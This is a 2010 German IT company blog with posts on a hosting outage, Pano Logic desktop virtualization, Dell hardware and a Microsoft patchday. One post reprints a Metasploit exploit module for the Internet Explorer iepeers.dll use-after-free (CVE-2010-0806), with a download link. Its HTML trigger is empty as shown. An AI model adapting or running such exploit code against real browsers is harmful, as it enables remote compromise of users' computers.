Die PC Techniker IT-Blog

Donnerstag, 15. April 2010

Unsere Webseiten waren am 15.04. 16:17-18:12 Uhr kurzzeitig nicht erreichbar!

Domainfactory, unser Hoster, hat durch ein Softwareupgrade einen kurzzeitigen Ausfall unserer Webseite verursacht. Es wird mit Hochruck an einer Lösung gearbeitet, um die Webserver wieder online zu bekommen.

Wir bitten alle unsere Kunden und Interessenten für die entstandenen Unannehhmlichkeiten um Verzeihung!

15.04.10: 18:12 Uhr
Unsere Webserver stehen wieder wie gewohnt zur Verfügung!
__________________________________________________________________________________

Originalmitteilung unseres Hosters:

Ausfall von mehreren Webservern

Ticket eröffnet:

15.04.10, 16:17 Uhr
Aufgrund eines technischen Problems sind derzeit mehrere Webserver nicht verfügbar. Unsere Techniker arbeiten bereits mit Hochdruck an der Problemlösung.

Ein aktualisierter Status wird in wenigen Minuten, nach Identifizierung der jeweils nicht verfügbaren Webserver, bereitgestellt.

Wir bedauern diese Beeinträchtigung und entschuldigen uns für die Unannehmlichkeiten.

[Update 15.04.2010 16:31]
Aktuell sind ein Grossteil der Server nicht zu erreichen. Wir arbeiten bereits intensiv an einer Lösung der Situation. Sobald wir neue Erkenntnisse haben werden wir Sie schnellstmöglich hier informieren.

[Update 15.04.2010 16:35]
Die Erreichbarkeitsproblematik ist durch ein Softwareupgrade entstanden. Aktuell wird der Umfang des Upgrades geprüft und rückgängig gemacht.

[Update 15.04.2010 16:45]
Aktuell wird auf den betroffenen Servern das Softwareupdate rückgängig gemacht.

[Update 15.04.2010 17:13]
Die Server werden aktuell manuell geprüft und stehen nach der Überprüfung wieder wie gewohnt zur Verfügung. Auf Grund des Umfangs der Störung und der damit verbundenen manuellen Prüfung können wir momentan leider noch keine Server direkt bezeichnen.

Wir gehen momentan davon aus das in 30-60 Minuten alle Server wieder zur Verfügung stehen.

[Update 15.04.2010 17:26]
Die Server kommen nach und nach wieder online und stehen wieder wie gewohnt zur Verfügung. Wir halten Sie hier weiterhin auf dem aktuellen Stand.

[Update 15.04.2010 17:43]
Die Technik arbeitet weiterhin intensiv daran, alle Server schnellstmöglich zur Verfügung zu stellen.

[Update 15.04.2010 18:11]
Alle Server stehen in Kürze wieder wie gewohnt zur Verfügung.

[Update 15.04.2010 18:26]
Alle Server stehen wieder wie gewohnt zur Verfügung.

Wir bedauern die Beeinträchtigungen und entschuldigen uns für die entstandenen Unannehmlichkeiten.

Mittwoch, 14. April 2010

Version 3.0 von Pano Logic's Desktopvirtualisierung

Mit dem heutigen Major-Release der neuen Softwareversion 3.0 ist dem kalifornischen Hersteller Pano Logic ein großer Wurf gelungen. Es sind viele neue sowie stark verbesserte Funktionen hinzugekommen, darunter:

Unterstützung von Windows 7: Alle Editionen ab Windows 7 Professional x86 (32 bit) werden unterstützt
Mehrere Desktops pro Benutzer: Bessere Kontrolle und Verwaltung von nahezu beliebig vielen Desktops pro Benutzer für unterschiedliche Funktionen (Abb. 3)
Pano Manager Failover: Zwei Pano Manager Virtual Aplliances lassen sich in einem active/passive Failover Cluster betreiben (Abb. 4)
Verbesserter Logicscreen, welcher den Benutzern mehr Informationen und Optionen zur Auswahl bietet (Abb. 2)
Verbesserte Administration: Neu hinzugekommen ist unter anderem ein (Zustands-) Management für DVMs, welche sich im Maintenance-Mode befinden
Noch bessere und nahtlosere Integration von VMware vSphere 4.0 U1 und View 4.0

Der Download der neuen Version 3.0 ist ab sofort freigegeben: Unsere Kunden mit gültigem Maintenance-Vertrag können die Software von unseren Servern herunterladen!

Abb 2. Bessere Kontrolle durch Benutzer: Der stark verbesserte Loginscreen

Abb. 3 Mehrere Desktops (DVMs) pro Benutzer

Abb. 4 Pano Manager Failover Gruppen bieten mehr Sicherheit durch Redundanz

Dienstag, 23. März 2010

CNN Money: Pano's Zero-Client "real-world" Bericht

Heute ist ein schöner Bericht über Pano Logic's Zero-Client bei TechTalk at CNN Money online erschienen:

Donnerstag, 11. März 2010

IE 0-day exploit code veröffentlicht

Dem israelischen Hacker Moshe Ben Abu ist es gelungen, auf Grund von Hinweisen eines McAfee Blogposts eine Sicherheitslücke im Microsoft Internet Explorer auszunutzen: Der Exploitcode wurde bereits veröffentlicht: http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb

Betroffene Versionen: IE 6 und 7

Ganze Story (Englisch): http://blogs.zdnet.com/security/?p=5666&tag=trunk;content

Und hier der Code:

##
# ie_iepeers_pointer.rb
#
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
#  - Microsoft Internet Explorer 7, Windows Vista SP2
#  - Microsoft Internet Explorer 7, Windows XP SP3
#  - Microsoft Internet Explorer 6, Windows XP SP3
#
# Exploit found in-the-wild. For additional details:
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Internet Explorer iepeers.dll use-after-free',
   'Description'    => %q{
    This module exploits a use-after-free vulnerability within iepeers.dll of 
    Microsoft Internet Explorer versions 6 and 7.
    
    NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 
      'Trancer '
      ], 
   'Version'        => '$Revision:$',
   'References'     =>
    [
     [ 'CVE', '2010-0806' ],
     [ 'OSVDB', '62810' ],
     [ 'BID', '38615' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
     [ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00\x09\x0a\x0d'\\", 
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] 
    ],
   'DisclosureDate' => 'Mar 09 2010',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Set the return\nops
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))

  # Randomize the javascript variable names
   j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops   = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_memory  = rand_text_alpha(rand(100) + 1)
  j_counter  = rand_text_alpha(rand(30) + 2)
  j_ret   = rand_text_alpha(rand(100) + 1)
  j_array   = rand_text_alpha(rand(100) + 1)
  j_function1  = rand_text_alpha(rand(100) + 1)
  j_function2  = rand_text_alpha(rand(100) + 1)
  j_object  = rand_text_alpha(rand(100) + 1)
  j_id   = rand_text_alpha(rand(100) + 1)

  # Build out the message
  html = %Q|

|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the compressed response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html' })
  
  # Handle the payload
  handler(cli)

 end

end

Mittwoch, 10. März 2010

Dell Precision Mobile Workstation M6500 Update

Bereits kurz vor der CeBIT war zu erfahren, dass die leistungsfähiste mobile Workstation, die wir gestestet haben, die Dell Precision M6500 Ende April ein Update erfährt:

USB3.0 ist ja bereits an Bord, neu hinzukommen wird die Möglichkeit, zwei Festplatten (RAID 0 oder 1) mit einer zusätzlichen SSD über einen integrierten RAID-Controller zu kombinieren: Man hat dann insgesamt drei "Festplatten" zur Verfügung, und kann damit sogar ein RAID 5 betreiben - bislang die einzige mobile Workstation mit RAID 5! Bislang waren "nur" RAIDs mit den beiden internen Festplatten möglich. Das SSD-Device kann typischerweise als Bootdevice und/oder Systempartition fürs Betriebssystem genutzt werden und kann je nach Anwendung zu einem deutlichen Performanceboost führen.

28.03. Update: Die Variante mit 3 "Festplatten" (RAID 5) lässt sich ab sofort bestellen!

Admins: Microsoft März Patchday

Wie jeden 2. Dienstag des Monats veröffentlichte Microsoft am 09.03.2010 Patches für MS Software. Diesen Monat waren 8 Patches dabei, wie folgende Übersicht zeigt - Details zu den veröffentlichten Updates hier. Das Update kann Sie mit der in Windows integrierten Update-Funktion installiert werden.


Bulletin	Titel	Anzahl der Lücken / Bewertung / Eigenschaften	Betroffene Software
MS10-016	Sicherheitsanfälligkeit in Windows Movie Maker kann Remotecodeausführung ermöglichen (975561)	1 / hoch / Remote-Codeausführung	Windows XP, Windows 2000, Server 2003
MS10-017	Sicherheitsanfälligkeiten in Microsoft Office Excel können Remotecodeausführung ermöglichen (980150)	7 / hoch / Remote-Codeausführung	Microsoft Excel 2002 SP3, Excel 2003 SP3, Excel 2007 SP1/SP2

Dienstag, 9. März 2010

ZDNet (UK): Pano Logic erhält die Bewertung "sehr gut"

Das bekannte IT-Portal ZD.Net bewertet die Pano Zero-CLient Lösung zur Desktopvirtualisierung mit "sehr gut" ("very good").

Das Urteil der Testredaktion lautet: "Eine hervorragende Wahl für die Desktop-Virtualisierung im Unternehmensmaßstab stellt das Pano-System dar, welches aus einem "zero-footprint" Thinclient (Zero-Client), einem Connectionbroker und einer Remote-Access-Lösung (Pano-Remote) für mobile Mitarbeiter besteht."

Im Original heißt es:

7.5

Editors' Rating VERY GOOD

Typical price:£ 1899

Verdict

An excellent choice for enterprise-scale virtual desktop deployments, Pano System includes a zero-footprint thin client, a connection broker and remote-access server software... Read Full Review.

Pros

Smallest, lowest-power thin client we've seen
Minimal workload for system administrators
Straightforward for end-users

Cons

Only works with Windows XP virtual desktops
Remote users outside the firewall must have a Windows PC
Not suitable for multimedia applications

Key Specs

Dimensions (W x H x D):	8.88x5.1x8.88 cm
Weight:	0.5 kg